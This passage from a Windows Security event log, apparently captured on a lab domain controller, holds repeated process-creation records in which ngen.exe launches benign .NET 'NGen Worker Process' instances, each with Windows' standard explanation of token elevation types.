12:08:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255008 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 630 -InterruptEvent 0 -NGENProcess 5f0 -Pipe 618 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255007 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1024 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 654 -InterruptEvent 0 -NGENProcess 640 -Pipe 5dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255018 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 5f4 -Pipe 654 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255017 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x678 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5d8 -InterruptEvent 0 -NGENProcess 560 -Pipe 464 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255016 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 630 -InterruptEvent 0 -NGENProcess 654 -Pipe 650 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255015 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 638 -InterruptEvent 0 -NGENProcess 610 -Pipe 640 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255014 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 5bc -Pipe 624 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255013 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5cc -InterruptEvent 0 -NGENProcess 5f4 -Pipe 404 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255012 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 404 -InterruptEvent 0 -NGENProcess 5cc -Pipe 5b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255011 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 610 -Pipe 614 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255023 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 630 -Pipe 644 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255022 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x84c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 678 -Pipe 5bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255021 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5bc -InterruptEvent 0 -NGENProcess 64c -Pipe 610 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255020 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 66c -Pipe 5f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255019 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 560 -Pipe 5cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255027 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 648 -InterruptEvent 0 -NGENProcess 61c -Pipe 690 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255026 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 678 -InterruptEvent 0 -NGENProcess 684 -Pipe 664 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255025 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 658 -InterruptEvent 0 -NGENProcess 5fc -Pipe 668 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255024 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: 